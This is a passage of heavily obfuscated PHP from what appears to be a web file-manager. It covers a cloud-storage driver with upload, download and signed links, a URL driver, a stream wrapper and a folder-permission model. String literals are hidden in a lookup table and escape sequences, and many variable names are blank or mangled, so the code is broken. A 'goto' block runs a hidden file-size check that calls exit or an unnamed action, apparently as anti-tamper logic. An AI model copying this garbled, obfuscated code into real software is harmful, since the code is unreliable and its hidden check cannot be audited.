$this->listItemCache = !1; $DŽ = $֭ = array(); $this->fileList($ , $DŽ, $֭, !0); $this->listItemCache = !0; foreach ($֭ as $ؾĝ) { $ = $this->ussRequest($ؾĝ[$Ŵ[32]], $Ŵ[1482]); if (!$[$Ŵ[1245]]) { return !1; } } foreach ($DŽ as $蓁) { $ = $this->ussRequest($蓁, $Ŵ[1482]); if (!$[$Ŵ[1245]]) { return !1; } } $ = $this->ussRequest($ , $Ŵ[1482]); return $[$Ŵ[1245]]; } public function rename($ל, $) { if ($this->isFile($ל)) { $ = get_path_father($ל) . $; return $this->moveFile($ל, $); } return $this->renameObject($ל, $); } public function fileInfo($Ԃ, $ = false, $ǁ = array()) { $㡡 =& $_SERVER[]; $Ò = array($㡡[32] => $this->pathThis($Ԃ), $㡡[84] => $this->getPathOuter($㡡[8] . $Ԃ), $㡡[33] => $㡡[200], $㡡[76] => isset($ǁ[$㡡[76]]) ? $ǁ[$㡡[76]] : 0, $㡡[174] => $this->ext($Ԃ)); if ($) { return $Ò; } $Ò[$㡡[201]] = $Ò[$㡡[85]] = 0; $Ò[$㡡[202]] = $Ò[$㡡[203]] = !0; if (empty($ǁ)) { $ǁ = $this->objectMeta($Ԃ); if (!$ǁ) { return $Ò; } } $Ò[$㡡[201]] = intval($ǁ[$㡡[1483]]); $Ò[$㡡[85]] = intval($ǁ[$㡡[1484]]); $Ò[$㡡[76]] = $ǁ[$㡡[76]]; return $Ò; } public function folderInfo($՛, $˫ = false) { $ߒ =& $_SERVER[]; $ț = array($ߒ[32] => $this->pathThis($՛), $ߒ[84] => $this->getPathOuter($ߒ[8] . $՛), $ߒ[33] => $ߒ[75]); if ($˫) { return $ț; } $ț[$ߒ[201]] = $ț[$ߒ[85]] = 0; $ț[$ߒ[202]] = $ț[$ߒ[203]] = !0; if (empty($)) { $ = $this->objectMeta($՛); if (!$) { return $ț; } } $ț[$ߒ[201]] = intval($[$ߒ[1483]]); $ț[$ߒ[85]] = intval($[$ߒ[1484]]); return $ț; } private function listObjs($̳ܺ, $ꦑ = 0, $ = 1000) { $۳׽ =& $_SERVER[]; $ = array($۳׽[1485], $۳׽[1486] . $); if ($ꦑ) { $[] = $۳׽[1487] . $ꦑ; } $ٿ = $this->ussRequest($̳ܺ, $۳׽[230], !1, $); return !$ٿ[$۳׽[1245]] ? !1 : $ٿ[$۳׽[1235]]; } private function fileList($, &$Ŀ, &$, $ = false) { $ޥ =& $_SERVER[]; $ = $ޥ[12]; $ = 1000; $ؼ = rtrim($, $ޥ[8]) . $ޥ[8]; while (!0) { check_abort(); $ɏ = $this->listObjs($, $, $); if (!$ɏ) { return !1; } $ = isset($ɏ[$ޥ[1488]]) ? $ɏ[$ޥ[1488]] : $ޥ[12]; $硯 = isset($ɏ[$ޥ[1489]]) ? $ɏ[$ޥ[1489]] : array(); foreach ($硯 as $ܐ) { $ؐ = $ܐ[$ޥ[33]] == $ޥ[75] ? !0 : !1; $ = ltrim($ؼ . $ܐ[$ޥ[32]], $ޥ[8]) . ($ؐ ? $ޥ[8] : $ޥ[12]); $ = array($ޥ[32] => $, $ޥ[33] => $ؐ ? $ޥ[75] : $ޥ[200], $ޥ[76] => $ܐ[$ޥ[366]], $ޥ[1484] => $ܐ[$ޥ[1490]]); $this->cacheMethodInfoSet($, $ؐ, $); if ($ؐ) { $Ŀ[] = $; if ($) { $this->fileList($, $Ŀ, $, $); } continue; } $[] = $; } if (count($硯) < $) { break; } } $this->cacheMethodInfoSet($, !0); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $Ɛ = array(); $this->fileList($, $, $Ɛ); foreach ($ as $ => $Ո) { $[$] = $this->folderInfo($Ո, $); } foreach ($Ɛ as $ => $Ո) { $Ɛ[$] = $this->fileInfo($Ո[$[32]], $, $Ո); } return array($[82] => $, $[83] => $Ɛ); } public function has($, $ = false, $͎ = true) { $ =& $_SERVER[]; $ = $[12]; $ލ = 500; $ = 0; $ә = 0; $Բ؜ = rtrim($, $[8]) . $[8]; while (!0) { check_abort(); $Ȳ = $this->listObjs($, $, $ލ); if (!$Ȳ) { return !1; } $ = isset($Ȳ[$[1488]]) ? $Ȳ[$[1488]] : $[12]; $Ƈ = isset($Ȳ[$[1489]]) ? $Ȳ[$[1489]] : array(); if (empty($Ƈ)) { break; } $濣 = array_filter($Ƈ, function ($󇓿) { $ =& $_SERVER[]; return $󇓿[$[33]] == $[75]; }); $ = count($Ƈ); $濣 = count($濣); $ = $ - $濣; if ($) { $ә += $濣; $ += $; if ($ < $ލ) { break; } continue; } if ($͎) { if ($) { return !0; } } else { if ($濣) { return !0; } } if ($ < $ލ) { break; } } if ($) { return array($[207] => $, $[208] => $ә); } return !1; } public function listAll($ɬ俪) { $߮ =& $_SERVER[]; $ = $© = array(); $this->fileList($ɬ俪, $, $©, !0); $쾖 = array_to_keyvalue($©, $߮[32]); foreach ($ as $Ѡ) { if (is_string($Ѡ)) { $쾖[$Ѡ] = array($߮[76] => 0); } } return $this->listAllFiles($ɬ俪, $쾖); } public function canRead($Ϣ) { return $this->exist($Ϣ) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($ޏۜ, $ɧ = '') { $ =& $_SERVER[]; if (!$ɧ) { $ = $this->ussRequest($ޏۜ, $[226]); return $[$[1245]]; } $Ӱ = $this->tempFile($this->pathThis($ޏۜ)); file_put_contents($Ӱ, $ɧ); if ($this->upload($ޏۜ, $Ӱ)) { $this->tempFileRemve($Ӱ); return !0; } return !1; } public function fileSubstr($ạ, $, $İ) { $Ӓ =& $_SERVER[]; if (!($Ֆ = $this->link($ạ))) { return !1; } $Ð = !1; if ($İ > 0) { $Î = $ + $İ - 1; $Ð = array($Ӓ[1451] . $ . $Ӓ[415] . $Î); } $ = url_request($Ֆ, $Ӓ[230], !1, $Ð); return $[$Ӓ[776]] ? $[$Ӓ[1235]] : !1; } public function upload($؇, $, $ = false, $Ήυ = REPEAT_REPLACE) { $ =& $_SERVER[]; $Ӛ = IO::size($); if ($Ӛ <= 1024 * 1024 * 200) { $鮠 = array($[1491] . $); $ݛ = $this->ussRequest($؇, $[228], $鮠); return $ݛ[$[1245]] ? $this->getPathOuter($؇) : !1; } $Ó = 1024 * 1024 * 10; $Ȍ = array($[1492], $[1493] . $Ӛ, $[1494], $[1495] . $Ó); $ݛ = $this->ussRequest($؇, $[228], !1, $Ȍ); if (!$ݛ[$[1245]]) { return !1; } $ = $ݛ[$[1235]]; $Չ = 0; $┼ = $[$[1496]]; $ = fopen($, $[1400]); if (!$) { return !1; } do { $ʔ = $[$[1497]]; fseek_64($, $Չ); $Ыރ = fread($, $ʔ); $ = 0; do { $++; $ = $this->uploadPart($؇, $, $Ыރ); } while (!$ && $ < 3); if (!$) { return !1; } $┼ = $[$[1496]]; $Չ += $ʔ; } while ($┼ != -1); fclose($); $Ȍ = array($[1498], $[1499] . $[$[1500]], $[1494]); $ݛ = $this->ussRequest($؇, $[228], !1, $Ȍ); return $ݛ[$[1245]] ? $this->getPathOuter($؝) : !1; } private function uploadPart($뭑, $ۘӺ, &$Ȏ) { $ܪ =& $_SERVER[]; $א = array($ܪ[1501], $ܪ[1499] . $ۘӺ[$ܪ[1500]], $ܪ[1502] . $ۘӺ[$ܪ[1496]], $ܪ[142] . $ۘӺ[$ܪ[1497]]); $ӥ = $this->ussRequest($뭑, $ܪ[228], $Ȏ, $א); return !$ӥ[$ܪ[1245]] ? $ӥ[$ܪ[1245]] : $ӥ[$ܪ[1235]]; } public function uploadFormData($Ü, $ˆݱ = 3600) { return $this->uploadPolicy($Ü, $ˆݱ); } public function multiUploadFormData($, $Ú = 3600) { $ =& $_SERVER[]; $֨ = (int) $GLOBALS[$[7]][$[76]]; return $this->uploadPolicy($, $Ú, $֨); } private function uploadPolicy($, $υ = 3600, $ = 0) { $ =& $_SERVER[]; $Īׂ = $[8] . $this->bucket; $ض = gmdate($[1436]); $悧 = array($[1503] => $this->bucket, $[1504] => $, $[1505] => time() + $υ, $[1506] => $ض); if ($) { $悧[$[1416]] = $; } $ = base64_encode(json_encode($悧)); $ = base64_encode(hash_hmac($[1473], "\x50\x4f\123\x54\x26{$Īׂ}\46{$ض}\x26{$}", md5("{$this->userpass}"), !0)); $֠ = array($[261] => $, $[1507] => "\125\x50\x59\x55\x4e\x20{$this->username}\x3a{$}", $[182] => $this->endpoint . $Īׂ); return $֠; } public function download($, $) { $͉ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $֚ = 0; $ = 1024 * 200; $ = fopen($͉, $_SERVER[][1457]); while (!0) { $ = $this->fileSubstr($, $֚, $); if ($ === !1) { return !1; } fwrite($, $); $֚ += $; if (strlen($) < $) { break; } } fclose($); return $; } public function link($, $˱ = array()) { $Ղ =& $_SERVER[]; $ = trim($, $Ղ[8]); if (!empty($this->token)) { $ͣ = strtotime(date($Ղ[1508])); $ = substr(md5($this->token . $Ղ[313] . $ͣ . $Ղ[1509] . $), 12, 8) . $ͣ; $˱[] = $Ղ[1510] . $; } $ƚ = !empty($˱) ? $Ղ[73] . implode($Ղ[313], $˱) : $Ղ[12]; return $this->getHost() . $Ղ[8] . $ . $ƚ; } public function fileOut($, $ई = false, $ڳп = false, $ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $ई, $ڳп, $); } if (!$ڳп) { $ڳп = $this->pathThis($); } $ϥ = $ई ? array($_SERVER[][1511] . rawurlencode($ڳп)) : array(); $ђ = $this->link($, $ϥ); $this->fileOutLink($ђ); } public function fileOutServer($ބ, $ = false, $ƫ = false, $ͽ = '') { parent::fileOut($ބ, $, $ƫ, $ͽ); } public function fileOutImage($, $ŝ = 250) { $͛І = $this->link($ . $_SERVER[][1512] . $ŝ); $this->fileOutLink($͛І); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($ں­) { $׷ =& $_SERVER[]; $ = $this->_objectMeta($ں­); return isset($[$׷[212]]) ? $[$׷[212]] : !1; } public function size($͡) { $Ϊ = $this->objectMeta($͡); return $Ϊ ? $Ϊ[$_SERVER[][76]] : 0; } public function info($ߝ) { if ($this->isFolder($ߝ)) { return $this->folderInfo($ߝ); } else { if ($this->isFile($ߝ)) { return $this->fileInfo($ߝ); } } return !1; } public function exist($ɐ) { return $this->isFile($ɐ) || $this->isFolder($ɐ); } public function isFile($ߌ) { return !$this->isFolder($ߌ) && $this->objectMeta($ߌ); } public function isFolder($ץʚ) { return $this->cacheMethod($_SERVER[][165], $ץʚ); } protected function objectMeta($񘪢) { return $this->cacheMethod($_SERVER[][167], $񘪢); } protected function _objectMeta($ՙ) { $ӡ =& $_SERVER[]; if ($ՙ == $ӡ[12] || $ՙ == $ӡ[8]) { return array(); } $ = $this->ussRequest($ՙ, $ӡ[1513]); if (!$[$ӡ[1245]]) { return null; } $˛ = isset($[$ӡ[1235]]) ? $[$ӡ[1235]] : array(); if (!isset($˛[$ӡ[1514]])) { return null; } $ԋ = array($ӡ[33] => isset($˛[$ӡ[1514]]) ? $˛[$ӡ[1514]] : null, $ӡ[76] => isset($˛[$ӡ[1515]]) ? $˛[$ӡ[1515]] : null, $ӡ[212] => isset($˛[$ӡ[1516]]) ? $˛[$ӡ[1516]] : null, $ӡ[1483] => isset($˛[$ӡ[1517]]) ? $˛[$ӡ[1517]] : null); $ԋ[$ӡ[1484]] = isset($˛[$ӡ[1518]]) ? strtotime($˛[$ӡ[1518]]) : $ԋ[$ӡ[1483]]; return $ԋ; } protected function _isFolder($ާ) { $ =& $_SERVER[]; if ($ާ == $[12] || $ާ == $[8]) { return !0; } $ = $this->_objectMeta($ާ); return isset($[$[33]]) && $[$[33]] == $[75] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ϊ = false) { } public function exist($ͻ) { $ = $this->info($ͻ); return $[$_SERVER[][202]]; } public function isFile($؂) { $׭ = $this->info($؂); return $׭[$_SERVER[][202]]; } public function isFolder($ʿ) { return !1; } public function size($) { $浯 = $this->info($); return $浯[$_SERVER[][76]]; } public function info($ɣΎ) { return $this->infoParse($ɣΎ); } public function infoAuth($ؐݪ) { return $this->infoParse($ؐݪ); } public function infoWithChildren($«) { return $this->infoParse($«); } public function infoFull($ˍ) { return $this->infoParse($ˍ); } private function infoParse($޶) { $ =& $_SERVER[]; $Ӻ = $this->header($޶); if (!$Ӻ || !$Ӻ[$[776]]) { return !1; } $׽Ω = _get($Ӻ, $[366], 0); $ = array($[32] => $Ӻ[$[32]], $[84] => $޶, $[33] => $[200], $[76] => intval($׽Ω), $[174] => get_path_ext($Ӻ[$[32]]), $[1397] => $׽Ω > 0 && $Ӻ[$[1519]], $[1398] => !1); return $; } private function header($羈) { $˷ =& $_SERVER[]; if (isset(self::$_cacheHeader[$羈])) { return self::$_cacheHeader[$羈]; } $ = isset($GLOBALS[$˷[1520]]) ? $GLOBALS[$˷[1520]] : !1; $GLOBALS[$˷[1520]] = !0; self::$_cacheHeader[$羈] = url_header($羈); $GLOBALS[$˷[1520]] = $; return self::$_cacheHeader[$羈]; } public function hashSimple($俀, $Ϟȱ = false) { $ =& $_SERVER[]; $㙬 = $this->info($俀); if (!$㙬 || !$㙬[$[202]]) { return !1; } $Ԫ = $㙬[$[76]]; $ = 200; $Ս = 50; if ($Ԫ <= $ * $Ս) { return md5($this->fileSubstr($俀, 0, $Ԫ)) . $Ԫ; } $֟ = intval($Ԫ / $Ս); $ = $[12]; $ԥژ = timeFloat(); $ = 15; for ($탕 = 0; $탕 < $Ս; $탕++) { if (timeFloat() - $ԥژ > $) { return !1; } $ʻ = $this->fileSubstr($俀, $֟ * $탕, $); if (!$ʻ) { return !1; } $ .= $ʻ; } $ .= $this->fileSubstr($俀, $Ԫ - $, $); return md5($) . $Ԫ; } public function getContent($Ѕ) { return $this->fileSubstr($Ѕ); } public function fileSubstr($П, $ = 0, $ݠ = -1) { $Ƹۿ =& $_SERVER[]; $ = $this->info($П); if (!$ || !$[$Ƹۿ[202]] && $[$Ƹۿ[76]] > 1024 * 1024 * 10) { return !1; } if ($ݠ === -1) { $ݠ = $[$Ƹۿ[76]]; } if ($ݠ == 0) { return $Ƹۿ[12]; } $˼ = array($Ƹۿ[1521] . $ . $Ƹۿ[808] . ($ + $ݠ - 1)); $Ʀ = url_request($П, $Ƹۿ[230], !1, $˼, !1, !1, 30); return $Ʀ[$Ƹۿ[1235]] ? $Ʀ[$Ƹۿ[1235]] : $Ƹۿ[12]; } public function download($, $ǥ) { Downloader::start($, $ǥ); return $ǥ; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($́, $Վ = '') { $this->info = $this->info($́); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][84]]; $this->pathOpen = $́; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$́])) { self::$_chunkBuffer[$́] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ = $this->fileSubstr($this->pose, $); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($쉳, $߆Ύ) { $͏ =& $_SERVER[]; if ($߆Ύ == SEEK_SET) { $this->pose = $쉳; } else { if ($߆Ύ == SEEK_CUR) { $this->pose += $쉳; } else { if ($߆Ύ == SEEK_END) { $this->pose = $this->info[$͏[76]] + intval($쉳); } } } if ($쉳 < 0) { $this->pose = $this->info[$͏[76]] + $쉳; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][76]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($֍, $ԉޜ) { $ꕟ =& $_SERVER[]; $疒 = $this->info($֍); return array($ꕟ[1522] => 0, $ꕟ[1523] => 0, $ꕟ[16] => 32768 + 511, $ꕟ[1524] => 0, $ꕟ[1525] => 0, $ꕟ[1526] => 0, $ꕟ[1527] => 0, $ꕟ[76] => $疒[$ꕟ[76]], $ꕟ[1528] => $疒[$ꕟ[1396]], $ꕟ[1484] => $疒[$ꕟ[85]], $ꕟ[1483] => $疒[$ꕟ[201]], $ꕟ[1529] => 0, $ꕟ[1530] => 0); } static $fileInfo = array(); public function info($ˌ) { $ = $_SERVER[][1531]; if (isset(self::$fileInfo[$ˌ])) { return self::$fileInfo[$ˌ]; } if (substr($ˌ, 0, strlen($)) != $) { return !1; } self::$fileInfo[$ˌ] = IO::info(substr($ˌ, strlen($))); return self::$fileInfo[$ˌ]; } public static function read($, $, $Ż) { if (!isset(self::$_fopenCache[$])) { $Ճ = new StreamWrapperIO(); $Ճ->stream_open($); self::$_fopenCache[$] = $Ճ; } $Ճ = self::$_fopenCache[$]; return $Ճ->fileSubstr($, $Ż); } public static function _read($Γ֢, $ƃޜ, $) { $ =& $_SERVER[]; $Ľ = fopen($Γ֢, $[1400]); if (!$Ľ) { return $[12]; } $٤ = 8192; fseek($Ľ, $ƃޜ, SEEK_SET); $ȹ = $[12]; $滎 = 0; while ($滎 < $) { $ІԼ = min($٤, $ - $滎); $ȹ .= fread($Ľ, $ІԼ); $滎 += $ІԼ; } fclose($Ľ); return $ȹ; } public function fileSubstr($羞, $Ç) { $׷ =& $_SERVER[]; $ۍɋ = $this->info[$׷[76]]; $ϒ = $羞; $ = $Ç; if ($羞 < 0) { $羞 = $ۍɋ + $羞; } if ($Ç === !1) { $Ç = $ۍɋ - $羞; } if ($羞 + $Ç > $ۍɋ) { $Ç = $ۍɋ - $羞; } if ($Ç <= 0) { return $׷[12]; } if ($羞 < 0 || $羞 >= $ۍɋ || $Ç <= 0 || $Ç > 1024 * 1024 * 10) { throw new Exception("\151\157\x46\x69\x6c\145\122\x65\x61\144\40\x65\x72\162\x6f\162\41\40\163\x74\141\162\x74\x3d{$羞}\x3b\154\x65\156\147\x74\150\x3d{$Ç}\x3b\40\163\x69\172\x65\75{$ۍɋ}\x3b"); } $ϗ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $Ӊ = 0; $ҧ = 0; $̬ = $׷[12]; foreach ($ as $Ӊ => $̬) { $Ӊ = intval($Ӊ); $ҧ = $Ӊ + strlen($̬); if ($羞 >= $ҧ) { continue; } if ($羞 >= $Ӊ && $羞 + $Ç <= $ҧ) { return substr($̬, $羞 - $Ӊ, $Ç); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($׷[1532], $׷[1533] . count($) . "\73\x73\164\141\x72\x74\x3d{$羞}\x2c\x6c\145\156\x67\164\150\75{$Ç}\x3b\160\x6f\163\145\x3a{$Ӊ}\176{$ҧ}"); throw new Exception($׷[1534]); } $ö = intval($羞 / $ϗ) * $ϗ; $ү = ceil(($羞 + $Ç) / $ϗ) * $ϗ - $ö; $߮ = IO::fileSubstr($this->path, $ö, $ү); $[$ö . $׷[12]] = $߮; ksort($); $㊽ = substr($߮, $羞 - $ö, $Ç); return $㊽; } private function log($, $) { $ =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($[1535], $, $this->info[$[32]], $, $), $[1215]); } } goto E; C: if ($_SERVER[$_SERVER[][905]] != $_size($_file)) { $_getc = $_SERVER[][907]; $_getfile = $_SERVER[$_SERVER[][902]] . $_SERVER[][903]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][656]) { $exit = $_SERVER[][908]; $exit(); } $_act = $_SERVER[][992]; $_act($_file); } class SourceAuthModel extends ModelBase { protected $tableName = "\151\157\137\163\157\165\162\x63\x65\137\141\165\x74\150"; public function getAuth($) { $ =& $_SERVER[]; $ = $this->sourceAuthSelect($); $ = array(); $ = array(); $ʃ = 2 << 25; foreach ($ as $) { $ˬ = Model($[527])->listData($[$[1970]]); if (!$ˬ) { continue; } $[] = $; $¹ = 0; if ($[$[440]] == SourceModel::TYPE_GROUP) { $¹ = $ʃ * 2; } if ($[$[440]] == SourceModel::TYPE_USER) { $¹ = $ʃ; } if ($[$[440]] == SourceModel::TYPE_USER && $[$[525]] == $[198]) { $¹ = 0; } $[] = $ˬ[$[442]] + $¹; } array_multisort($, SORT_DESC, $); return $; } public function sourceAuthSelect($ܨ) { $告 =& $_SERVER[]; static $܄ = array(); $ۍ = is_array($ܨ) ? !1 : !0; if ($ۍ) { $ܨ = array($ܨ); } $ûٷ = array(); foreach ($ܨ as $) { if (isset($܄[$])) { $ûٷ[$] = $܄[$]; } } if (count($ûٷ) == count($ܨ)) { return $ۍ ? $ûٷ[$ܨ[0]] : $ûٷ; } $ = $告[2047]; $ðӄ = array($告[431] => array($告[7], $ܨ)); $и = $this->field($)->order($告[428])->where($ðӄ)->select(); $ѝ = array_to_keyvalue_group($и, $告[431]); foreach ($ܨ as $) { $܄[$] = $ѝ[$] ? $ѝ[$] : array(); } if ($ۍ) { return $и; } return $ѝ; } public function setAuth($ĵѰ, $Ѣ) { $˴ =& $_SERVER[]; $Μ = Model($˴[1366])->sourceInfo($ĵѰ); if (!$Μ) { return !1; } if ($Μ[$˴[440]] != SourceModel::TYPE_GROUP) { return !1; } $Ɨ = 1; $ = $Μ[$˴[525]]; if ($ != $Ɨ) { $˅ = array($˴[1866] => $); $ = Model($˴[1956])->field($˴[1676])->where($˅)->select(); $ = array_to_keyvalue($, $˴[12], $˴[1676]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $姈 = array(); foreach ($Ѣ as $) { if (!in_array($[$˴[440]], $)) { show_json(LNG($˴[2048]), !1); } if ($ != $Ɨ) { if ($[$˴[440]] == SourceModel::TYPE_GROUP) { } if ($[$˴[525]] != 0 && !in_array($[$˴[525]], $)) { } } if ($[$˴[525]] == 0) { $[$˴[440]] = SourceModel::TYPE_USER; } $姈[] = array($˴[431] => $ĵѰ, $˴[440] => intval($[$˴[440]]), $˴[525] => intval($[$˴[525]]), $˴[1970] => intval($[$˴[1970]]) ? intval($[$˴[1970]]) : 0, $˴[2030] => intval($[$˴[2030]]) ? intval($[$˴[2030]]) : -1); } $this->where(array($˴[446] => $ĵѰ))->delete(); $this->addAll($姈); return !0; } public function authClear($ߞ) { $ =& $_SERVER[]; $й = Model($[1366])->sourceInfo($ߞ); $ = array($ߞ); if ($й[$[439]] == $[88]) { $ށ = array($[609] => array($[569], $й[$[540]] . $ߞ . $[570])); $ = Model($[1366])->field($[446])->where($ށ)->getField($[431], !0); $[] = $ߞ; } $this->where(array($[446] => array($[447], $)))->delete(); return !0; } public function getAllChildren($͌’) { $ =& $_SERVER[]; $ = Model($[1366])->sourceInfo($͌’); if ($[$[439]] != $[88]) { return $this->sourceListAuth(array($͌’)); } if ($[$[440]] != SourceModel::TYPE_GROUP) { return array(); } $߳ = 1; $ = array($͌’); if ($[$[461]] == $[198] && $[$[525]] != $߳) { $ = $this->groupChidldAllRootSource($[$[525]]); } $˸ = $this->field($[431])->group($[431])->select(); $˸ = array_to_keyvalue($˸, $[12], $[431]); if (!$˸) { return array(); } $ѝ = $[2049]; $̡ = array($[431] => array($[7], $˸), $[460] => $[198]); $ኹ = Model($[851])->field($ѝ)->where($̡)->select(); $ = array($͌’); foreach ($ኹ as $) { foreach ($ as $Ǎ) { $ң = $[50] . $Ǎ . $[50]; $ = $[$[540]] . $[$[431]] . $[50]; if (strstr($, $ң)) { $[] = $[$[431]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($) { $ =& $_SERVER[]; $ʫ = Model($[1366])->sourceListInfo($, !0); $Ӓ = $this->sourceAuthSelect($); $ = array(); $ = array(); foreach ($ʫ as $) { unset($[$[485]]); unset($[$[483]]); unset($[$[442]]); unset($[$[87]]); $š = $Ӓ[$[$[431]]]; if (!$š) { continue; } $[$[2050]] = $this->authTargetInfo($š); $[$[538]] = rtrim($[$[544]], $[8]) . $[8] . ltrim($[$[538]], $[8]); $[] = $; $Ӑ = count(explode($[8], trim($[$[538]], $[8]))); $[] = $Ӑ + ($[$[33]] == $[75] ? 0 : 1000); } array_multisort($, SORT_ASC, $); return $; } private function groupChidldAllRootSource($) { $ =& $_SERVER[]; $؇ = Model($[2051])->groupChildrenAll($); $ӥ = array($[461] => 0, $[525] => array($[7], $؇), $[440] => SourceModel::TYPE_GROUP); $ꛔ = Model($[851])->field($[431])->where($ӥ)->select(); $ꛔ = array_to_keyvalue($ꛔ, $[12], $[431]); return $ꛔ; } private function authTargetInfo($꨺) { $ǐ =& $_SERVER[]; $Ҷ = array(); $ = array(); $Η = 2 << 25; foreach ($꨺ as $ý) { $ǒ = Model($ǐ[527])->listData($ý[$ǐ[1970]]); if (!$ǒ) { continue; } if ($ý[$ǐ[440]] == SourceModel::TYPE_USER) { $ۧ = Model($ǐ[533])->getInfoSimpleOuter($ý[$ǐ[525]]); if ($ۧ[$ǐ[1676]] == $ǐ[1221]) { continue; } if ($ۧ[$ǐ[1676]] == $ǐ[198]) { $ۧ[$ǐ[32]] = LNG($ǐ[2052]); } } else { $ۧ = Model($ǐ[541])->getInfoSimple($ý[$ǐ[525]]); } if (!$ۧ) { continue; } $ۧ[$ǐ[496]] = $ǒ; $Ҷ[] = $ۧ; $ϔϋ = 0; if ($ý[$ǐ[440]] == SourceModel::TYPE_GROUP) { $ϔϋ = $Η * 2; } if ($ý[$ǐ[440]] == SourceModel::TYPE_USER) { $ϔϋ = $Η; } if ($ý[$ǐ[440]] == SourceModel::TYPE_USER && $ý[$ǐ[525]] == $ǐ[198]) { $ϔϋ = 0; } $[] = $ǒ[$ǐ[442]] + $ϔϋ; } array_multisort($, SORT_DESC, $Ҷ); return $Ҷ; } public function getAllChildrenByUser($, $–) { $ݧ =& $_SERVER[]; $ɛ = Model($ݧ[554])->getInfo($–); if (!$– || !$ || !$ɛ) { return array(); } $ֈ = Model($ݧ[1366])->sourceInfo($); $׉ɵ = array(); $уԏ = 1; if ($ֈ[$ݧ[461]] == $ݧ[198] && $ֈ[$ݧ[525]] != $уԏ && $this->groupContainUser($ֈ[$ݧ[525]], $–)) { foreach ($ɛ[$ݧ[2053]] as $Ŭ) { $͍ = Model($ݧ[541])->getInfo($Ŭ[$ݧ[1866]]); $ܻ = Model($ݧ[554])->getInfoSimpleOuter($–); $ܻ[$ݧ[496]] = $Ŭ[$ݧ[442]]; if (Model($ݧ[527])->authCheckAction($Ŭ[$ݧ[442]][$ݧ[442]], $ݧ[1887])) { continue; } $Ù = array($ݧ[32] => $ݧ[1241] . $͍[$ݧ[32]], $ݧ[431] => $͍[$ݧ[87]][$ݧ[431]], $ݧ[84] => KodIO::make($͍[$ݧ[87]][$ݧ[431]]), $ݧ[461] => $ݧ[198], $ݧ[440] => $ݧ[534], $ݧ[33] => $ݧ[573], $ݧ[538] => $͍[$ݧ[545]], $ݧ[1866] => $͍[$ݧ[1866]], $ݧ[542] => $͍[$ݧ[461]], $ݧ[2050] => array($ܻ)); $׉ɵ[$Ù[$ݧ[431]]] = $Ù; } } $ډ = array(); $ = $this->getAllChildren($); foreach ($ as $ݬ) { $ = !1; foreach ($ݬ[$ݧ[2050]] as $՟) { if ($՟[$ݧ[1676]]) { if ($՟[$ݧ[1676]] == $–) { $ = !0; break; } } if ($՟[$ݧ[1866]]) { if ($this->groupContainUser($՟[$ݧ[1866]], $–)) { $ = !0; break; } } } if ($) { $ډ[] = $ݬ; } $會 = $ݬ[$ݧ[431]]; if (isset($׉ɵ[$會])) { $ݬ[$ݧ[2050]][] = $׉ɵ[$會][0]; $׉ɵ[$會] = !1; } } $׉ɵ = array_filter(array_values($׉ɵ)); $ډ = array_merge($׉ɵ, $ډ); return $ډ; } public function setAllChildrenByUser($ũ, $ޮ, $Ƚ) { $ =& $_SERVER[]; $ = $this->getAllChildrenByUser($ũ, $ޮ); if (!$Ƚ || !$) { return !1; } foreach ($ as $픍) { $Ι = array(); foreach ($픍[$[2050]] as $ȷ) { $߳ = $ȷ[$[496]]; $М = $ȷ[$[1676]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $ȷ[$[1676]] ? $ȷ[$[1676]] : $ȷ[$[1866]]; if ($ȷ[$[1676]] && $ȷ[$[1676]] == $ޮ) { continue; } $Ι[] = array($[431] => $픍[$[431]], $[440] => $М, $[525] => intval($), $[1970] => isset($߳[$[428]]) ? intval($߳[$[428]]) : 0, $[2030] => isset($߳[$[2030]]) ? intval($߳[$[2030]]) : -1); } $Ι[] = array($[431] => $픍[$[431]], $[440] => SourceModel::TYPE_USER, $[525] => intval($ޮ), $[1970] => intval($Ƚ), $[2030] => -1); $this->where(array($[446] => $픍[$[431]]))->delete(); $this->addAll($Ι); } return !0; } public function get($) { $ = $this->getSourceList(array($), !0); return $[0]; } public function getSourceList($ƥ, $ = false, $ٌ = false) { $ =& $_SERVER[]; if (!$ƥ) { return array(); } $ = Model($[1366]); if (!$ && count($ƥ) == 1) { $ = array(); $[$ƥ[0]] = $->sourceInfo($ƥ[0]); } if (!$) { $ג = array($[446] => array($[447], $ƥ)); $ = $->field($[2054])->where($ג)->select(); $ = array_to_keyvalue($, $[431]); } $Ӿπ = $ƥ; foreach ($ as $Ƨ => $) { $ߔЅ = $->parentLevelArray($[$[540]]); $Ӿπ = array_merge($Ӿπ, array($Ƨ), array_reverse($ߔЅ)); } $Ӿπ = array_values(array_unique($Ӿπ)); if (!$Ӿπ) { return array(); } $ = $this->sourceAuthSelect($Ӿπ); $Ѯö = array(); foreach ($Ӿπ as $㢩) { if (isset($[$㢩])) { $Ѯö[$㢩] = $[$㢩]; } } $ = $this->userIsRoot($ٌ); $ƞߐ = AuthModel::authAll(); $Ǭ = 